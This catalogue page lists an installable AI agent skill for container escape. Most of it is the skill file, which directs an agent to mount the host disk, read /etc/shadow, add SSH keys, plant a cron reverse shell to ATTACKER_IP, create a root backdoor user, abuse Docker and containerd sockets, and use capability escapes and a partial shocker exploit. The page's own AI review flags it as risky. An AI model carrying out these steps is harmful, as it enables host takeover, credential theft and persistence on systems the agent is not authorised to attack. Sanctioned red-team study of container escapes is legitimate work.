offensive-container-escape
Container escape and breakout techniques targeting Docker, containerd, and Podman runtimes. Covers privileged container breakout via host filesystem mount and nsenter, Docker socket abuse through /var/run/docker.sock, Linux capability exploitation including CAP_SYS_ADMIN, CAP_SYS_PTRACE, and CAP_NETβ¦
Install / Use
npx skills add SnailSploit/Claude-Red --skill offensive-container-escapeInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of offensive-container-escape
offensive-container-escape scores 96/100 on our quality scale, 180th of 1,108 Security skills we index (top 17%).
Its SKILL.md is 21 KB long, well organised into 210 sections with 24 code examples: a thorough specification that gives an agent plenty to work with.
With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so offensive-container-escape is actively maintained.
- Our last check on 2026-11-15 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit β read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to mount the host filesystem and read `/etc/shadow`, drop SSH keys, plant cron reverse shells, and add backdoor users.
AI review: risky
- The skill instructs the agent to mount the host filesystem and read `/etc/shadow`, drop SSH keys, plant cron reverse shells, and add backdoor users.
- It provides step-by-step commands for capability-based escapes, cgroup `notify_on_release` host code execution, Docker socket abuse to spawn privileged containers, and runtime/kernel CVE exploitation.
- Although framed as red-team/penetration testing, the file is a skill the agent will follow and directly tells it to perform credential theft, persistence, and host compromise actions.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-09. Automated pattern scan on 2026-09-28. It catches known dangerous patterns, not every risk β read a skill before letting an agent act on it.
offensive-container-escape compared with similar skills
All 4 of these similar skills score higher than offensive-container-escape; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| offensive-container-escape (this skill)by SnailSploit | 96 | 6.8k | 58d ago | SKILL.md |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 149.0k | 6d ago | SKILL.md |
Frequently asked questions
- How do I install offensive-container-escape?
- Run
npx skills add SnailSploit/Claude-Red --skill offensive-container-escape. The install tabs above show the steps for each supported agent. - Which AI agents does offensive-container-escape work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is offensive-container-escape safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to mount the host filesystem and read
/etc/shadow, drop SSH keys, plant cron reverse shells, and add backdoor users. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand. - Is offensive-container-escape still maintained?
- The repository was last updated about 2 months ago, so offensive-container-escape is actively maintained.
Skill content
View source on GitHubname: offensive-container-escape description: "Container escape and breakout techniques targeting Docker, containerd, and Podman runtimes. Covers privileged container breakout via host filesystem mount and nsenter, Docker socket abuse through /var/run/docker.sock, Linux capability exploitation including CAP_SYS_ADMIN, CAP_SYS_PTRACE, and CAP_NET_ADMIN, cgroup v1 notify_on_release escape, runc CVEs such as CVE-2019-5736 and CVE-2024-21626 Leaky Vessels, kernel exploits from within containers, and Dockerfile misconfigurations like --privileged and host namespace sharing. Includes enumeration with capsh, amicontained, deepce, CDK, and nsenter. Maps to MITRE ATT&CK T1611 Escape to Host. Use this skill when the engagement scope includes container breakout, Docker escape, container privilege escalation, host access from container, or when you land inside a containerized environment and need to reach the underlying host."
Container Escape and Breakout
You have a shell inside a container. Your objective is to break out to the underlying host operating system. Container isolation relies on Linux namespaces, cgroups, seccomp profiles, AppArmor/SELinux, and dropped capabilities. Every misconfiguration in these layers is an escape vector. This skill walks you through systematic enumeration, exploitation of common misconfigurations, abuse of exposed runtime sockets, capability-based escapes, cgroup breakouts, and known CVEs against container runtimes.
Quick Workflow
- Confirm you are inside a container (check for
.dockerenv, cgroup entries, PID 1 process). - Enumerate capabilities, mounts, namespaces, and sockets with automated tools.
- Identify the escape vector: privileged mode, socket exposure, dangerous capabilities, cgroup misconfiguration, or vulnerable runtime.
- Execute the breakout technique matching the vector.
- Validate host access by reading
/etc/hostname, checking PID namespace, or writing to host filesystem. - Pivot from host access to lateral movement across the cluster or infrastructure.
Phase 1: Container Detection and Enumeration
Before attempting escape, confirm you are containerized and map the attack surface.
Detecting Container Environment
# Check for Docker marker file
ls -la /.dockerenv
# Check cgroup entries for container identifiers
cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'
# Check PID 1 process (containers typically run app process, not init)
cat /proc/1/cmdline | tr '\0' ' '
# Check for container-specific environment variables
env | grep -iE 'kubernetes|docker|container|pod'
# Check hostname (often a truncated container ID)
hostname
# Check mount info for overlay filesystem
cat /proc/1/mountinfo | head -20
Automated Enumeration Tools
# deepce - Docker enumeration and escalation tool
# Download and run (if outbound access is available)
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh
# CDK - Zero-dependency container penetration toolkit
./cdk evaluate
# amicontained - Inspect container runtime and capabilities
./amicontained
# Manual capability check with capsh
capsh --print
cat /proc/1/status | grep -i cap
Decoding Capabilities Manually
# Read raw capability hex from /proc
cat /proc/1/status | grep CapEff
# Example output: CapEff: 0000003fffffffff
# Decode with capsh
capsh --decode=0000003fffffffff
# Key dangerous capabilities to look for:
# CAP_SYS_ADMIN - mount filesystems, cgroup manipulation, namespace operations
# CAP_SYS_PTRACE - ptrace any process, cross namespace boundaries
# CAP_NET_ADMIN - network namespace manipulation, raw sockets
# CAP_DAC_OVERRIDE - bypass file read/write/execute permission checks
# CAP_SYS_RAWIO - direct I/O to /dev/mem, /dev/kmem
# CAP_SYS_MODULE - load/unload kernel modules
# CAP_MKNOD - create device files
Checking Namespace Isolation
# Compare PID namespace
ls -la /proc/1/ns/pid
ls -la /proc/self/ns/pid
# Check if sharing host namespaces
ls -la /proc/1/ns/ | awk '{print $NF}'
# If namespace inodes match host, isolation is broken
# Check mount namespace for host mounts
cat /proc/1/mountinfo | grep -E '/dev/sd|/dev/nvme|hostPath'
findmnt
# Check for host network namespace
ip addr show
# If you see host interfaces (eth0 with host IP), hostNetwork is true
cat /proc/net/tcp
Phase 2: Privileged Container Breakout
A container run with --privileged drops nearly all isolation. It has all capabilities, can see host devices, and has no seccomp or AppArmor restrictions.
Mount Host Filesystem
# List available block devices
fdisk -l 2>/dev/null || lsblk
# Identify host root filesystem device (commonly /dev/sda1 or /dev/nvme0n1p1)
# Mount it into the container
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Verify host access
cat /mnt/host/etc/hostname
cat /mnt/host/etc/shadow
ls -la /mnt/host/root/
# Drop an SSH key for persistent access
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys
# Plant a reverse shell in cron
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab
# Add a backdoor user
echo 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow
nsenter to Host Namespaces
# If PID 1 on the host is visible (privileged + hostPID), nsenter into it
# This gives you a shell in the host's full namespace context
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Verify you escaped
hostname
id
cat /etc/hostname
# Without hostPID, nsenter from mounted procfs
# Mount host /proc first if available
nsenter -t 1 -m -u -i -n -p -- bash
Device Access Exploitation
# Privileged containers have access to all host devices
ls -la /dev/
# Read host memory directly
dd if=/dev/mem bs=1 count=1024 skip=0 2>/dev/null | xxd | head
# Access host disk raw
dd if=/dev/sda bs=512 count=1 | xxd | head
# Create device nodes if CAP_MKNOD is available
mknod /dev/host_disk b 8 0
mount /dev/host_disk /mnt/host
Phase 3: Docker Socket Abuse
When /var/run/docker.sock is mounted into a container, you control the Docker daemon and can create privileged containers that mount the host filesystem.
Detecting Exposed Socket
# Check for Docker socket
ls -la /var/run/docker.sock
ls -la /run/docker.sock
# Check if socket is writable
test -w /var/run/docker.sock && echo "WRITABLE" || echo "READ-ONLY"
# Verify Docker API via curl
curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool
# Check without curl using socat or Python
python3 -c "
import socket, json
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/var/run/docker.sock')
s.send(b'GET /version HTTP/1.1\r\nHost: localhost\r\n\r\n')
print(s.recv(4096).decode())
"
Escape via Docker Socket
# If Docker CLI is available
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host \
--net=host -v /:/mnt/host alpine chroot /mnt/host /bin/bash
# If only curl is available, use Docker API directly
# Step 1: Create a container mounting host root
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["/bin/sh", "-c", "cat /mnt/host/etc/shadow"],
"HostConfig": {
"Privileged": true,
"Binds": ["/:/mnt/host"]
}
}' | python3 -m json.tool
# Capture container ID from response
CONTAINER_ID="<id_from_response>"
# Step 2: Start the container
curl -s --unix-socket /var/run/docker.sock \
-X POST "http://localhost/containers/${CONTAINER_ID}/start"
# Step 3: Read output
curl -s --unix-socket /var/run/docker.sock \
"http://localhost/containers/${CONTAINER_ID}/logs?stdout=true&stderr=true"
# For interactive shell, use exec endpoint
curl -s --unix-socket /var/run/docker.sock \
-X POST "http://localhost/containers/${CONTAINER_ID}/exec" \
-H "Content-Type: application/json" \
-d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"],"Tty":true}'
Containerd Socket Abuse
# Check for containerd socket
ls -la /run/containerd/containerd.sock
# Use ctr if available
ctr -a /run/containerd/containerd.sock containers list
ctr -a /run/containerd/containerd.sock images list
# Spawn privileged container via containerd
ctr -a /run/containerd/containerd.sock run \
--privileged --net-host --mount type=bind,src=/,dst=/mnt/host,options=rbind \
docker.io/library/alpine:latest escape /bin/sh
Phase 4: Capability-Based Escapes
Individual Linux capabilities can be sufficient for escape even without full privileged mode.
CAP_SYS_ADMIN Escape
# CAP_SYS_ADMIN allows mounting filesystems and cgroup manipulation
# Check if present
grep CapEff /proc/1/status
capsh --print | grep sys_admin
# Method 1: Mount host filesystem via block device
mount /dev/sda1 /mnt
# Method 2: cgroup release_agent escape (see Phase 5)
# Method 3: Abuse user namespace
unshare -Urm bash
CAP_SYS_PTRACE Escape
# CAP_SYS_PTRACE allows tracing processes across namespaces
# Combined with hostPID, you can inject into host processes
# Find a host process (requires shared PID namespace)
ps aux | grep -v grep | head -20
# Inject shellcode into a host process using ptrace
# Python ptrace injection example
python3 -c "
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
# Target a host process PID
target_pid = 1 # systemd or init
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
# Attach to target
result = libc.ptrace(PTRACE_ATTACH, target_pid, 0, 0)
print(f'Attach result: {result}')
"
# Alternatively, use /proc/PID/root to access host filesystem via host PID
ls -la /proc/1/root/
cat /proc/1/root/etc/shadow
CAP_NET_ADMIN Escape
# CAP_NET_ADMIN with host network namespace enables ARP spoofing,
# traffic interception, and network-based attacks against the host
# Check for capability
capsh --print | grep net_admin
# Create a network tap to sniff host traffic
ip link add name sniff0 type dummy
tcpdump -i eth0 -w /tmp/capture.pcap &
# ARP spoof the gateway to intercept traffic
# (requires host network namespace)
CAP_DAC_READ_SEARCH Escape
# Bypass file permission checks for reading
# Access host filesystem through /proc/1/root if hostPID is shared
# Use open_by_handle_at to access files outside the container mount
# This is the shocker exploit technique
# Compile and run the shocker PoC:
cat > /tmp/shocker.c << 'CEOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdlib.h>
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
int main() {
struct my_file_handle h;
h.handle_bytes = 8;
h.handle_type = 1;
memset(h.f_handle, 0, sizeof(h.f_handle));
// Brute force inode handles to access host /etc/shadow
int mount_fd = open("/etc/hostname", O_RDONLY);
// ... (PoC continues with handle iteration)
return 0;
}
CEOF
gcc -o /tmp/shocker /tmp/shocker.c
Phase 5: Cgroup Escape (notify_on_release)
The cgroup v1 notify_on_release mechanism executes a binary on the host when the last process in a cgroup exits. This is the classic container escape for containers with CAP_SYS_ADMIN.
Classic Cgroup Release Agent Escape
# Requires: CAP_SYS_ADMIN and cgroup v1
# This runs a command on the HOST, not inside the container
# Step 1: Find the container's cgroup mount
mount | grep cgroup
# Look for: cgroup on /sys/fs/cgroup/... type cgroup (rw,...)
# Step 2: Create a child cgroup
mkdir /sys/fs/cgroup/rdma/escape_cgroup 2>/
Truncated for display β read the full file on GitHub.
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Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit β see the Safety scan above for what the skill file itself contains.
